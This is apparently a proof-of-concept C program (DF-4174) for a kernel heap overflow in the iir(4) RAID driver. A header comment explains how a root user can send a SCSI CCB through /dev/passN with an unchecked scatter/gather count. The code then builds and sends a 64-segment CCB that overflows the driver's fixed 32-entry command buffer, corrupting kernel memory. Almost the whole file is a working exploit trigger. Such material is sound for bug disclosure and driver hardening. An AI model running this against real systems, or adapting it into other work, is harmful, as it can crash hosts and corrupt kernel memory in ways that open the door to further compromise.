DF-4174 / sg_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-4174 PoC -- iir(4) unbounded physical scatter/gather list copy * (gdtexecuteccb / gdt_raw_cmd / gdt_cache_cmd) * * Bug: an XPT_SCSI_IO CCB arriving with CAM_SCATTER_VALID set and * CAM_DATA_PHYS clear is dispatched by gdt_next() to gdt_raw_cmd() / * gdt_cache_cmd() (sys/dev/raid/iir/iir.c:843-878 / 950-985). On that * path the driver takes the segment list and count straight from the * CCB: * * segs = (struct bus_dma_segment *)ccb->csio.data_ptr; * gdtexecuteccb(gccb, segs, ccb->csio.sglist_cnt, 0); * * and gdtexecuteccb() (iir.c:1254-1285) copies nseg entries into the * fixed 32-entry (GDT_MAXSG, iir.h:71) SG array at the tail of the * 324-byte (GDT_CMD_SZ) gccb->gc_cmd[] buffer with NO bound on nseg. * The sc_buffer_dmat nsegments=GDT_MAXSG bound (iir.c:205) only * constrains the bus_dmamap_load() path, not this one. * * Reachability: /dev/passN (mode 0600 -> root only) lets userland build * an arbitrary XPT_SCSI_IO CCB with flags = CAM_DIR_IN | * CAM_SCATTER_VALID | CAM_SG_LIST_PHYS and a caller-chosen sglist_cnt + * physical segment array. sglist_cnt > 32 overflows gc_cmd[] into the * adjacent struct gdt_ccb fields and neighbouring gccbs of the * kmalloc'd sc_gccbs[] block (kernel heap corruption). * * Usage: ./sg_overflow [pass-device] (default /dev/pass0) * * On a host WITH an iir controller this program targets its bus and * overflows the SG array (expected: corruption/panic). * On a host WITHOUT iir hardware the SIM check fails -- documented. * * Build: cc -O -o sg_overflow sg_overflow.c -lcam */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <camlib.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_message.h> #define NSEG_SEND 64 /* GDT_MAXSG is 32 -> entries 33..64 overflow */ #define SEG_LEN 512 /* kernel reads data_ptr as struct bus_dma_segment * { bus_addr_t ds_addr; bus_size_t ds_len; } -- 16 bytes on x86_64 */ struct poc_seg { uint64_t addr; uint64_t len; }; int main(int argc, char **argv) { struct cam_device *dev; union ccb *ccb; struct poc_seg segs[NSEG_SEND]; const char *path = (argc > 1) ? argv[1] : "/dev/pass0"; int i; printf("[*] DF-4174: iir gdtexecuteccb unbounded physical SG copy\n"); printf("[*] opening %s ...\n", path); dev = cam_open_device(path, O_RDWR); if (dev == NULL) { fprintf(stderr, "[!] cam_open_device(%s) failed: %s\n", path, cam_errbuf); fprintf(stderr, "[!] no pass device -> no userland path to any " "SCSI SIM (hardware-gated)\n"); exit(2); } /* verify the SIM behind this pass device is actually iir */ ccb = cam_getccb(dev); ccb->ccb_h.func_code = XPT_PATH_INQ; if (cam_send_ccb(dev, ccb) < 0 || (ccb->ccb_h.status & CAM_STATUS_MASK) != CAM_REQ_CMP) { fprintf(stderr, "[!] XPT_PATH_INQ failed: 0x%x\n", ccb->ccb_h.status); exit(3); } printf("[*] %s sits on SIM \"%s\" (bus %d)\n", path, ccb->cpi.dev_name, ccb->cpi.bus_id); if (strcmp(ccb->cpi.dev_name, "iir") != 0) { fprintf(stderr, "[!] SIM is not \"iir\" -- this trigger must " "target an iir bus; none exists on this host " "(hardware-gated)\n"); cam_freeccb(ccb); cam_close_device(dev); exit(4); } cam_freeccb(ccb); memset(segs, 0, sizeof(segs)); for (i = 0; i < NSEG_SEND; i++) { segs[i].addr = 0x1000000; /* any physical address */ segs[i].len = SEG_LEN; } ccb = cam_getccb(dev); memset(ccb, 0, sizeof(*ccb)); ccb->ccb_h.func_code = XPT_SCSI_IO; ccb->ccb_h.flags = CAM_DIR_IN | CAM_SCATTER_VALID | CAM_SG_LIST_PHYS; ccb->ccb_h.timeout = 30000; ccb->csio.data_ptr = (u_int8_t *)segs; ccb->csio.dxfer_len = NSEG_SEND * SEG_LEN; ccb->csio.sglist_cnt = NSEG_SEND; ccb->csio.sense_len = 32; ccb->csio.cdb_len = 6; ccb->csio.cdb_io.cdb_bytes[0] = 0x00; /* TEST UNIT READY */ printf("[*] sending XPT_SCSI_IO with sglist_cnt=%d (> GDT_MAXSG=32)\n", NSEG_SEND); if (cam_send_ccb(dev, ccb) < 0) { perror("[!] cam_send_ccb"); exit(5); } printf("[*] CCB sent, status 0x%x\n", ccb->ccb_h.status); printf("[!] On iir hardware gdtexecuteccb (iir.c:1272-1284) write-" "overflows gccb->gc_cmd[324] into adjacent gdt_ccb fields.\n"); cam_freeccb(ccb); cam_close_device(dev); return (0); } |